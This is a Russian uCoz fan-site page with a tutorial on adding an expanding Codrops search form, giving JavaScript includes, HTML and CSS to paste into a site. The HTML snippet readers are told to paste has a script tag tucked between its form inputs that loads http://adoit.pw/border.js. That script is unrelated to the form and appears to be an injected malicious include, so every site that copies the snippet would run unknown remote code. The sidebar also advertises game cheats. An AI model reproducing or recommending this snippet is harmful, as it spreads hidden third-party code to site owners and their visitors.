Вторник, 02.12.2025, 12:26


Главная| Регистрация | Вход
Меню сайта
Counter-Strike
Мастерская
Другое
Видео о cs
Cs Art
Мини-чат
Опрос
Какая посещаемость вашего сайта в день?
 
Всего ответов: 6
Время на сайте =)
Реклама №1



Рекламное место свободно Обращайтесь к Админ
Статистика
Статистика:
Всего: 595
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Из них
Гл.Администраторов: 1
Администраторов: 0
Гл.Модераторов: 0
Модераторов: 4
Гл.Дизайнеров: 0
Дизайнеров: 1
Файловиков: 0
Проверенных: 1
Постоянных: 0
V.I.P Персон: 1
Друзья сайта: 0
Обычных юзеров: 587
Заблокированные: 0
Из них
Парней: 550
Девушек: 44
Счетчик:
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Юзеры онлайн:
Нас посетили:

Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
13:56
Создаём раздвижную форму поиска для uCoz
Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

Код
<script src="http://pnghosts.ru/js_css/classie.js"></script>
<script src="http://pnghosts.ru/js_css/uisearch.js"></script>
<script>
  new UISearch( document.getElementById( 'sb-search' ) );
</script>


Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

Код
<!-- Поиск по сайту -->  
  <div id="sb-search" class="sb-search">
  <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
  <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
  <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
  </form>  
  </div>  
  <!-- /Поиск по сайту -->


Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

Код
/* Раздвижная форма поиска для uCoz
------------------------------------------*/
.sb-search {
  position: relative;
  margin-top: 10px;
  width: 0%;
  min-width: 32px;
  height: 32px;
  float: right;
  overflow: hidden;
   
  -webkit-transition: width 0.3s;
  -moz-transition: width 0.3s;
  transition: width 0.3s;
  -webkit-backface-visibility: hidden;
}

.sb-search-input {
  position: absolute;
  top: 0;
  right: 0;
   
  margin: 0;
  z-index: 10;
  width:300px;
  height: 20px;
  outline: none;
  background: #fff;  
  border: 1px solid #CAD3DA;  
  padding: 5px 32px 5px 20px;
   
  font:11px Verdana,Arial,Helvetica, sans-serif;
  color:#555;  
  border-radius:3px 0px 0px 3px;  
}

.sb-search-input::-webkit-input-placeholder {
  color: #efb480;
}

.sb-search-input:-moz-placeholder {
  color: #efb480;
}

.sb-search-input::-moz-placeholder {
  color: #efb480;
}

.sb-search-input:-ms-input-placeholder {
  color: #efb480;
}

.sb-icon-search,
.sb-search-submit {
  position: absolute;
  right: 0;
  top: 0;
  margin: 0;
   
  width: 32px;
  height: 32px;
  display: block;

  line-height: 30px;
  text-align: center;
  cursor: pointer;
}

.sb-search-submit {
  background: #fff;
  color: transparent;
  border: none;
  outline: none;
  z-index: -1;
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
  filter: alpha(opacity=0);  
  opacity: 0;  
}

.sb-icon-search {
  border:none;  
  z-index: 90;
  background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  -webkit-font-smoothing: antialiased;
  border-radius:3px 3px 3px 3px;  
}

.sb-icon-search:before {
  content: "\e000";
}

.sb-search.sb-search-open,
.no-js .sb-search {
  width: 100%;
}

.sb-search.sb-search-open .sb-icon-search,
.no-js .sb-search .sb-icon-search {
  background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  z-index: 11;
  border-radius:0px 3px 3px 0px;  
}

.sb-search.sb-search-open .sb-search-submit,
.no-js .sb-search .sb-search-submit {
  z-index: 90;
}


На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

Спасибо за внимание!
Просмотров: 589 | Добавил: DoG | Рейтинг: 0.0/0
Всего комментариев: 0
ComForm">
avatar
Рай для анимешника
 
  AnimeLend.Info - сайт для фанатов аниме, у нас собранно все видео аниме онлайн. В нашей базе есть русская озвучка и субтитры, старые издания и новинки, множество жанров и категорий, тут настоящий рай для анимешника.
Мини профиль

Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
Все для ВебМастера
Все для Photoshop
Бонусы WMR

Вы можете получить WMR-бонус в размере 0,01-0,10 WMR на свой кошелек 1 раз в сутки

Кошелек
Код Защитный код

Обмен Webmoney

Друзья сайта


AnimeLend.info

ПОЛУЧИ ДЕНЬГИ НА КОШЕЛЁК

Место свободно

Место свободно

Топ фаловиков


casper
Респект: 45
Постов: 444
Файлов: 226


tema
Респект: 6
Постов: 1
Файлов: 26


danbdan
Респект: 18
Постов: 0
Файлов: 5


tubaretka2012
Респект: 0
Постов: 0
Файлов: 4


Vintak
Респект: 16
Постов: 1
Файлов: 1
Последнее на форум
Загадки...
Сообщений от: casper
Кто первый?
Сообщений от: casper
Анекдоты
Сообщений от: casper
Kryk - Это СмС обманш...
Сообщений от: casper
Общение на любые темы...
Сообщений от: casper
КАК РАЗБЛОКИРОВАТЬ AL...
Сообщений от: casper
Как поднять ТИЦ
Сообщений от: casper
Ничего Интересного
Сообщений от: casper
Пос. Коментарии
Написал: casper
Написал:
Поиск
Теги для пойска:
анти лого МОДЫ сервера aim bot для cs новости игровые новости смотреть новости asasins creed новости скачать Star Wars: The Old Republic Как зомби Игры видео смотреть онлайн игровые 257 admin.amxx admin_sql.amxx admincmd. Взлом AIM BOT + SPEEDHACK плагин для - При выстреле в зомби - он превращ Antiblock Anti-Infection Armor (Броня для люд видео о cs 1467_Battle_Hardened AMX команды для админа cs AmmoChange online на admin Addon Display (Rus) Counter-Strike 1.6 counter strike (Funny Zombie читы Приколы asult Server ZP Alien Скрипты для CS бесплатно c1.6 v35 No-Steam AP плагины для cs AdminChat Big HuD Msg плагины скачать плагины для cs читы для cs скрипты скачать для cs Bunny Hop скачать $E Модели игроков Agent Smith (Urban CT) Admin_lightning soft Софт 2.5 Звуки Скачать Counter-strike 1.5 1.8 1.7 скачать модели для cs прогу film films видеофильмы кино скачать видео скачать видео бесплатно скачать фильмы скачать фильмы бесплатно фильмы Анти-читы без чит Block запуска wallpaper бесплатные обои обои Обои для рабочего стола обои для рабочего стола скачать обои на рабочий стол скачать обои скачать обои бесплатно CD beta
http://m4a1-m4a1.clan.su/ © Все права защищены! | Sitemap-forum | Используются технологии uCoz Советуем просматривать сайт через браузер Opera или Mozilla Firefox